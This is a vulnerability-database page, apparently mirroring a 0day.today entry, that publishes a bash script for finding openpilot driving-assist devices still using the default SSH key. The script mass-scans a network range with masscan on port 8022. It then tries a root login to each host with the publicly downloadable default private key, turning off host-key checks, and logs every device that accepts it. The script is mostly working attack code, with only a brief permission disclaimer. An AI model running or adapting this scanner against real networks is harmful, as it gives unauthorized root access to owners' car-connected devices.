Lucene search
K

Openpilot Default SSH Key Vulnerability

🗓️ 02 Jan 2021 00:00:00Reported by Jeremy BrownType 
zdt
 zdt
🔗 0day.today👁 33 Views

Scan for openpilot devices with default SSH ke

Code
#!/bin/bash
#
# openpilot-scan.sh
#
# Jeremy Brown [jbrown3264/gmail]
# Dec 2020
#
# Checks for openpilot devices using the default SSH key
#
# Setup
# > apt-get install -y masscan && setcap cap_net_raw=ep /usr/bin/masscan
# > wget -q https://raw.githubusercontent.com/commaai/openpilot/master/tools/ssh/id_rsa
# > chmod 600 id_rsa
#
# Example
# > ./openpilot-scan.sh 10.100.100.1/24
#
# Disclaimer
# This script will port scan and attempt login to SSH servers which accept a
# given key. Use it at your own risk, no guarentees, only scan your own network
# or those that you have permission to scan. You assume full responsibility
# for any use or execution of these tools, authorized entry or otherwise actions.
#

KEY="id_rsa"
MATCH_IP='[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
MASSCAN_LOG="masscan.log"
SCAN_LOG="scan.log"
FOUND_FILE="found.txt"
SSH_PORT=8022
USER="root"

if [ $# -ne 1 ]; then
    echo "usage: ./openpilot-scan.sh ra.n.g.e/24"
    exit 1
fi

# scan
masscan --open -p $SSH_PORT -oL $MASSCAN_LOG $1 >/dev/null 2>&1

# parse
grep -ohP "$MATCH_IP" $MASSCAN_LOG > $SCAN_LOG

# check
while read IP
do
    ssh $USER@$IP \
      -p $SSH_PORT \
        -o batchmode=yes \
        -o StrictHostKeyChecking=no \
        -T -i $KEY >/dev/null 2>&1

    if [ $? -ne 255 ]; then
      echo $IP
        echo $IP >> $FOUND_FILE
    fi

done < $SCAN_LOG

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Jan 2021 00:00Current
7.4High risk
Vulners AI Score7.4
33